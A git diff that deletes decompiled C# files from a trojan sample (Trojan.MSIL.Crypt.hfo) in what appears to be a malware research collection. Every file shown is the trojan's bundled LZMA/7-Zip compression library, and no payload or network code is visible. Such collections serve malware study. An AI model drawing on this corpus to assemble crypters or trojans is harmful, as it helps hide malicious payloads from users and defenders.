this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 0b9f072c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index 6baaa1c3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index 2209c929..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index b1f4b1b1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index 01e67375..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 4aec71a1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index e9dc03e3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/DataErrorException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/DataErrorException.cs deleted file mode 100644 index ea49b5b5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/DataErrorException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.DataErrorException -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, 